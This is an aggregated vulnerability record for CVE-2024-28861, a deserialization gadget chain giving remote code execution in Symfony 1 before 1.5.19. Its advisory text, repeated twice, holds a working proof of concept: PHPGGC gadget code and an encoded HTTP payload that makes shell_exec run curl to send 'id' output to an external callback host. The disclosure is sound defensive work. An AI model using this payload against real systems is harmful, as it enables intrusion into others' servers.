{"id":"CVE-2024-28861","aliases":["EUVD-2024-0981","GHSA-pv9j-c53q-h433"],"status":"published","title":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","description":"Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01546,"percentile":0.75336,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2024-03-22T16:43:18Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"Packagist","package":"friendsofsymfony1/symfony1","fixed_in":["1.5.19"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"friendsofsymfony1/symfony1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.0"},{"fixed":"1.5.19"}]}]},{"source":"osv","ecosystem":"Packagist","package":"friendsofsymfony1/symfony1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.0"},{"fixed":"1.5.19"}]}],"versions":["v1.5.10","v1.5.11","v1.5.12","v1.5.13","v1.5.14","v1.5.15","v1.5.16","v1.5.17","v1.5.18","v1.5.7","v1.5.8","v1.5.9"]}],"products":[{"vendor":"friends_of_symfony_project","product":"fosuserbundle"},{"vendor":"friendsofsymfony1","product":"symfony1"}],"references":[{"url":"https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a","tags":["x_refsource_MISC","x_transferred","Patch","fix"]},{"url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pv9j-c53q-h433"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28861.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28861","tags":["advisory"]},{"url":"https://github.com/FriendsOfSymfony1/symfony1","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-28861","title":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","description":"Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.","status":"published","published":"2024-03-22T16:43:18.453Z","modified":"2024-08-20T20:33:11.104Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:34:18.951288Z"}],"euvd":[{"id":"EUVD-2024-0981","description":"Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.","status":"published","published":"2024-03-22T16:43:18Z","modified":"2024-08-20T20:33:11Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:56:14.606712Z"}],"ghsa":[{"id":"GHSA-pv9j-c53q-h433","title":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","description":"### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n  {\n    $a = unserialize($request-\u003egetParameter('user'));\n  }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n    public function unserialize($serialized)\n    {\n        $this-\u003e__unserialize(unserialize($serialized));\n    }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n    public function __unserialize($data)\n    {\n        $this-\u003edefault_namespace = $data[0];\n        $this-\u003eparameters = $data[1];\n    }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess`  interface. `sfOutputEscaperArrayDecorator`  implements such interface. Here is the call made on `offsetGet()`:\n```php\n  public function offsetGet($offset)\n    {\n        $value = isset($this-\u003evalue[$offset]) ? $this-\u003evalue[$offset] : null;\n\n        return sfOutputEscaper::escape($this-\u003eescapingMethod, $value);\n    }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this-\u003eescapingMethod` and `$this-\u003evalue[$offset]`:\n```php\n  public static function escape($escapingMethod, $value)\n  {\n    if (null === $value)\n    {\n      return $value;\n    }\n\n    // Scalars are anything other than arrays, objects and resources.\n    if (is_scalar($value))\n    {\n      return call_user_func($escapingMethod, $value);\n    }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n  [\"prop\":protected]=\u003e\n  object(sfOutputEscaperArrayDecorator)#3 (2) {\n    [\"value\":protected]=\u003e\n    array(1) {\n      [0]=\u003e\n      string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n    }\n    [\"escapingMethod\":protected]=\u003e\n    string(10) \"shell_exec\"\n  }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n  protected $value;\n\n  protected $escapingMethod;\n\n  public function __construct($escapingMethod, $value) {\n    $this-\u003eescapingMethod = $escapingMethod;\n    $this-\u003evalue = $value;\n  }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n    protected $prop = null;\n\n    public function __construct($prop) {\n      $this-\u003eprop = $prop;\n    }\n\n    public function serialize()\n    {\n        return serialize($this-\u003eprop);\n    }\n\n    public function unserialize($serialized)\n    {\n        \n    }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n    public static $version = '1.1.0 \u003c= 1.5.18';\n    public static $vector = 'Serializable';\n    public static $author = 'darkpills';\n    public static $information = '';\n\n    public function generate(array $parameters)\n    {\n        $escaper = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));\n\n        $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n        \n        return $tableInfo;\n    }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n    if (is_array($data)) {\n      $this-\u003edefault_namespace = $data[0];\n      $this-\u003eparameters = $data[1];\n    } else {\n      $this-\u003edefault_namespace = null;\n      $this-\u003eparameters = array();\n\n      // or throw an exception maybe?\n    }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.","status":"published","published":"2024-03-22T16:56:18Z","modified":"2024-07-25T13:36:29Z","cwes":["CWE-502"],"updated_at":"2026-11-02T14:37:56.530214Z"}],"nvd":[{"id":"CVE-2024-28861","description":"Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.","status":"published","published":"2024-03-22T17:15:07.77Z","modified":"2026-06-17T07:21:54.367Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:09:43.052376Z"}],"osv":[{"id":"CVE-2024-28861","title":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","description":"Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.","status":"published","published":"2024-03-22T16:43:18.453Z","modified":"2026-10-28T02:30:30.816815854Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:40.06138Z"},{"id":"GHSA-pv9j-c53q-h433","title":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","description":"### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n  {\n    $a = unserialize($request-\u003egetParameter('user'));\n  }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n    public function unserialize($serialized)\n    {\n        $this-\u003e__unserialize(unserialize($serialized));\n    }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n    public function __unserialize($data)\n    {\n        $this-\u003edefault_namespace = $data[0];\n        $this-\u003eparameters = $data[1];\n    }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess`  interface. `sfOutputEscaperArrayDecorator`  implements such interface. Here is the call made on `offsetGet()`:\n```php\n  public function offsetGet($offset)\n    {\n        $value = isset($this-\u003evalue[$offset]) ? $this-\u003evalue[$offset] : null;\n\n        return sfOutputEscaper::escape($this-\u003eescapingMethod, $value);\n    }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this-\u003eescapingMethod` and `$this-\u003evalue[$offset]`:\n```php\n  public static function escape($escapingMethod, $value)\n  {\n    if (null === $value)\n    {\n      return $value;\n    }\n\n    // Scalars are anything other than arrays, objects and resources.\n    if (is_scalar($value))\n    {\n      return call_user_func($escapingMethod, $value);\n    }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n  [\"prop\":protected]=\u003e\n  object(sfOutputEscaperArrayDecorator)#3 (2) {\n    [\"value\":protected]=\u003e\n    array(1) {\n      [0]=\u003e\n      string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n    }\n    [\"escapingMethod\":protected]=\u003e\n    string(10) \"shell_exec\"\n  }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n  protected $value;\n\n  protected $escapingMethod;\n\n  public function __construct($escapingMethod, $value) {\n    $this-\u003eescapingMethod = $escapingMethod;\n    $this-\u003evalue = $value;\n  }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n    protected $prop = null;\n\n    public function __construct($prop) {\n      $this-\u003eprop = $prop;\n    }\n\n    public function serialize()\n    {\n        return serialize($this-\u003eprop);\n    }\n\n    public function unserialize($serialized)\n    {\n        \n    }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n    public static $version = '1.1.0 \u003c= 1.5.18';\n    public static $vector = 'Serializable';\n    public static $author = 'darkpills';\n    public static $information = '';\n\n    public function generate(array $parameters)\n    {\n        $escaper = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));\n\n        $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n        \n        return $tableInfo;\n    }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n    if (is_array($data)) {\n      $this-\u003edefault_namespace = $data[0];\n      $this-\u003eparameters = $data[1];\n    } else {\n      $this-\u003edefault_namespace = null;\n      $this-\u003eparameters = array();\n\n      // or throw an exception maybe?\n    }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.","status":"published","published":"2024-03-22T16:56:18Z","modified":"2026-09-10T03:50:10.732766238Z","cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
